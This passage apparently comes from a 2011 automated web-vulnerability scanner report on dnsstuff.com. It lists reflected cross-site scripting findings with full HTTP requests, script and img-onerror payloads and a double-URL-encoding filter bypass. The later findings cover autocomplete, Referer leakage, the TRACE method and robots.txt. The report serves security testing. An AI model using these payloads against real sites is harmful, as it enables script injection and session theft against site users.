Cookie: ID=f3d6c1ad002664; __utmc=114379858; __utma=114379858.133990597.1311008608.1311008608.1311008608.1; __utmb=114379858.1.10.1311008608; __utmz=114379858.1311008608.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/62

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 17:07:05 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 17:07:05 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13843
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<a id="emailResultsLinkNoJS" href="http://www.dnsstuff.com/tools/ipall?c4826\"><a>ccab849f7e2=1&c4826="=>=<a=>ccab849f7e2=1">
...[SNIP]...

2.8. http://www.dnsstuff.com/tools/ipall/a/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/a/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5380%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5b9d6639a3e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a5380\"><script>alert(1)</script>5b9d6639a3e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Request

GET /tools/ipall/a/?a5380%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5b9d6639a3e=1 HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/tools/ipall/?tool_id=67dca4b%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Ecbe6d23089b&token=&toolhandler_redirect=0&ip=209.235.10.84
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.3.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=629fad8433489d10f91fe22b85337a2c; ID=f3d6c1ad003861

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:07:24 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:07:25 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13931
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<a id="emailResultsLinkNoJS" href="http://www.dnsstuff.com/tools/ipall?a5380%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e5b9d6639a3e=1&a5380\"><script>alert(1)</script>5b9d6639a3e=1">
...[SNIP]...

3. Password field with autocomplete enabled previous next
There are 6 instances of this issue:

/
/bc-lookups-tools
/bc-mon-alerts
/index.php
/tools/ipall/
/tools/ipall/a/

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

3.1. http://www.dnsstuff.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://www.dnsstuff.com/amember/login.php

The form contains the following password field with autocomplete enabled:

amember_pass

Request

GET / HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/tools/ipall/?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.2.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=3b487ce412fcff47f2bec18ba8a3b5dc; ID=f3d6c1ad003861

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 01:59:31 GMT
Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 01:59:31 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 22746
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
<script type="text/java
...[SNIP]...
<div style="float: right; margin-top: 15px;">
           <form action="https://www.dnsstuff.com/amember/login.php" method="post" id="mod_loginform-right">
               <input type="text" name="amember_login" class="inputbox-right" size="30" alt="Username" value="Username" onfocus="if (this.value=='Username') this.value=''" onblur="if(this.value=='') { this.valu
...[SNIP]...
<span>
               <input type="password" name="amember_pass" class="inputbox-right" size="12" alt="Password" value="paswww" onfocus="if (this.value=='paswww') this.value=''" onblur="if(this.value=='') { this.value='paswww'; return false; }" title="Password" />
               </span>
...[SNIP]...

3.2. http://www.dnsstuff.com/bc-lookups-tools previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/bc-lookups-tools

Issue detail

The page contains a form with the following action URL:

https://www.dnsstuff.com/amember/login.php

The form contains the following password field with autocomplete enabled:

amember_pass

Request

GET /bc-lookups-tools HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:13:35 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:13:35 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20618

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
<script type="text/java
...[SNIP]...
<div style="float: right; margin-top: 15px;">
           <form action="https://www.dnsstuff.com/amember/login.php" method="post" id="mod_loginform-right">
               <input type="text" name="amember_login" class="inputbox-right" size="30" alt="Username" value="Username" onfocus="if (this.value=='Username') this.value=''" onblur="if(this.value=='') { this.valu
...[SNIP]...
<span>
               <input type="password" name="amember_pass" class="inputbox-right" size="12" alt="Password" value="paswww" onfocus="if (this.value=='paswww') this.value=''" onblur="if(this.value=='') { this.value='paswww'; return false; }" title="Password" />
               </span>
...[SNIP]...

3.3. http://www.dnsstuff.com/bc-mon-alerts previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/bc-mon-alerts

Issue detail

The page contains a form with the following action URL:

https://www.dnsstuff.com/amember/login.php

The form contains the following password field with autocomplete enabled:

amember_pass

Request

GET /bc-mon-alerts HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:12:40 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:12:40 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20481

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
<script type="text/java
...[SNIP]...
<div style="float: right; margin-top: 15px;">
           <form action="https://www.dnsstuff.com/amember/login.php" method="post" id="mod_loginform-right">
               <input type="text" name="amember_login" class="inputbox-right" size="30" alt="Username" value="Username" onfocus="if (this.value=='Username') this.value=''" onblur="if(this.value=='') { this.valu
...[SNIP]...
<span>
               <input type="password" name="amember_pass" class="inputbox-right" size="12" alt="Password" value="paswww" onfocus="if (this.value=='paswww') this.value=''" onblur="if(this.value=='') { this.value='paswww'; return false; }" title="Password" />
               </span>
...[SNIP]...

3.4. http://www.dnsstuff.com/index.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/index.php

Issue detail

The page contains a form with the following action URL:

https://www.dnsstuff.com/amember/login.php

The form contains the following password field with autocomplete enabled:

amember_pass

Request

GET /index.php HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:08:14 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:08:15 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22887

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
<script type="text/java
...[SNIP]...
<div style="float: right; margin-top: 15px;">
           <form action="https://www.dnsstuff.com/amember/login.php" method="post" id="mod_loginform-right">
               <input type="text" name="amember_login" class="inputbox-right" size="30" alt="Username" value="Username" onfocus="if (this.value=='Username') this.value=''" onblur="if(this.value=='') { this.valu
...[SNIP]...
<span>
               <input type="password" name="amember_pass" class="inputbox-right" size="12" alt="Password" value="paswww" onfocus="if (this.value=='paswww') this.value=''" onblur="if(this.value=='') { this.value='paswww'; return false; }" title="Password" />
               </span>
...[SNIP]...

3.5. http://www.dnsstuff.com/tools/ipall/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/

Issue detail

The page contains a form with the following action URL:

https://www.dnsstuff.com/amember/login.php

The form contains the following password field with autocomplete enabled:

amember_pass

Request

GET /tools/ipall/?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84 HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.1.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:02:36 GMT
Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:02:36 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13899
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
<script type="text/java
...[SNIP]...
<div style="float: right; margin-top: 15px;">
           <form action="https://www.dnsstuff.com/amember/login.php" method="post" id="mod_loginform-right">
               <input type="text" name="amember_login" class="inputbox-right" size="30" alt="Username" value="Username" onfocus="if (this.value=='Username') this.value=''" onblur="if(this.value=='') { this.valu
...[SNIP]...
<span>
               <input type="password" name="amember_pass" class="inputbox-right" size="12" alt="Password" value="paswww" onfocus="if (this.value=='paswww') this.value=''" onblur="if(this.value=='') { this.value='paswww'; return false; }" title="Password" />
               </span>
...[SNIP]...

3.6. http://www.dnsstuff.com/tools/ipall/a/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/a/

Issue detail

The page contains a form with the following action URL:

https://www.dnsstuff.com/amember/login.php

The form contains the following password field with autocomplete enabled:

amember_pass

Request

GET /tools/ipall/a/ HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/tools/ipall/?tool_id=67dca4b%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Ecbe6d23089b&token=&toolhandler_redirect=0&ip=209.235.10.84
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.3.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=629fad8433489d10f91fe22b85337a2c; ID=f3d6c1ad003861

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:04:34 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:04:34 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13709
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
<script type="text/java
...[SNIP]...
<div style="float: right; margin-top: 15px;">
           <form action="https://www.dnsstuff.com/amember/login.php" method="post" id="mod_loginform-right">
               <input type="text" name="amember_login" class="inputbox-right" size="30" alt="Username" value="Username" onfocus="if (this.value=='Username') this.value=''" onblur="if(this.value=='') { this.valu
...[SNIP]...
<span>
               <input type="password" name="amember_pass" class="inputbox-right" size="12" alt="Password" value="paswww" onfocus="if (this.value=='paswww') this.value=''" onblur="if(this.value=='') { this.value='paswww'; return false; }" title="Password" />
               </span>
...[SNIP]...

4. Cross-domain POST previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/partner/dyn/

Issue detail

The page contains a form which POSTs data to the domain dyn.com. The form contains the following fields:

oid
Campaign_ID
lead_source
retURL
first_name
company
title
email
phone
URL
00N30000003vzkP
recaptcha_response_field
submit

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

Request

GET /partner/dyn/ HTTP/1.1
Host: www.dnsstuff.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnsstuff.com/tools/ipall/?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84
Cookie: PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6; __utma=114379858.362391004.1310954302.1310954302.1310954302.1; __utmb=114379858.2.10.1310954302; __utmc=114379858; __utmz=114379858.1310954302.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; guid=3b487ce412fcff47f2bec18ba8a3b5dc; ID=f3d6c1ad003861

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 01:59:33 GMT
Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 5642
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
       <title>Contact Dyn Enterprise Sales | Dyn Inc.</title>
       <link rel="shortcut icon" href="http://s1.cdn.dyn.com/wp-co
...[SNIP]...
<div class="rounded-in">

                       <form action="http://dyn.com/please-try-again" method="POST">
                           <input name="oid" type="hidden" value="00D30000000Z1Sm" />
...[SNIP]...

5. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/

Issue detail

The page was loaded from a URL containing a query string:

http://www.dnsstuff.com/tools/ipall/?tool_id=67&token=&toolhandler_redirect=0&ip=209.235.10.84

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
https://www.surveymonkey.com/s/WHBBN5T

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 02:02:36 GMT
Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8e
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Mon, 18 Jul 2011 02:02:36 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13899
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/java
...[SNIP]...
<div align="center"><a href="https://www.surveymonkey.com/s/WHBBN5T" target="_blank" ><img src="/dnsmedia/survey.png"border="1" alt="Please take our survey" />
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

6. Cross-domain script include previous next
There are 3 instances of this issue:

/partner/dyn/
/tools/ipall/
/tools/ipall/a/

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

6.1. http://www.dnsstuff.com/partner/dyn/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/partner/dyn/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google.com/recaptcha/api/challenge?k=6LcfMMASAAAAALi2qP0HtjPvsHOdhMpSly9ROg9c

Request

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 01:59:33 GMT
Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 5642
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
       <title>Contact Dyn Enterprise Sales | Dyn Inc.</title>
       <link rel="shortcut icon" href="http://s1.cdn.dyn.com/wp-co
...[SNIP]...
<li>
                                       <script type="text/javascript" src="http://www.google.com/recaptcha/api/challenge?k=6LcfMMASAAAAALi2qP0HtjPvsHOdhMpSly9ROg9c"></script>
...[SNIP]...

6.2. http://www.dnsstuff.com/tools/ipall/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

6.3. http://www.dnsstuff.com/tools/ipall/a/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/tools/ipall/a/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

7. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.dnsstuff.com
Cookie: ad25f7e5a5c4ba40

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 01:58:15 GMT
Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8e
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.dnsstuff.com
Cookie: ad25f7e5a5c4ba40; PHPSESSIDNS=7c7o2iga9v72hufcgr89r5l7m6

8. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/partner/dyn/

Issue detail

The following email address was disclosed in the response:

hello@dyn.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 01:59:33 GMT
Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 5642
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Contact Dyn Enterprise Sales | Dyn Inc.</title>
<link rel="shortcut icon" href="http://s1.cdn.dyn.com/wp-co
...[SNIP]...
<a href="mailto:hello@dyn.com?subject=General Inquiry from Dyn.com" class="lightlink">hello@dyn.com</a>
...[SNIP]...

9. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dnsstuff.com
Path:	/images/favicon.ico

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.dnsstuff.com

Response

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2011 01:58:15 GMT
Server: Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8e
Last-Modified: Thu, 13 Jan 2011 00:41:24 GMT
ETag: "9d7e00-130-499af93bff500"
Accept-Ranges: bytes
Content-Length: 304
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=utf-8

User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /components/
Disallow: /images/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /libraries/
Disallow: /
...[SNIP]...

10. Content type incorrectly stated previous
There are 34 instances of this issue:

/bc-research-analysis
/bc-track-authenticate
/company
/company/about-us
/company/careers
/company/connect
/company/press-page
/company/support
/docs/lookup/
/docs/whois
/domaindoctor
/privacy-policy
/products
/products/alerts
/products/alerts/domaindoctor
/products/alerts/rblalert
/products/au
/products/dnsreport
/products/mstc
/products/overview
/products/protools
/products/resources
/products/resources/blog
/products/resources/news
/products/resources/resources
/products/resources/solution-briefs
/sitemap
/terms-of-use
/tools
/tools/
/tools/aboutyou/
/tools/tracert/
/tools/whois/
/trademarks

Issue background

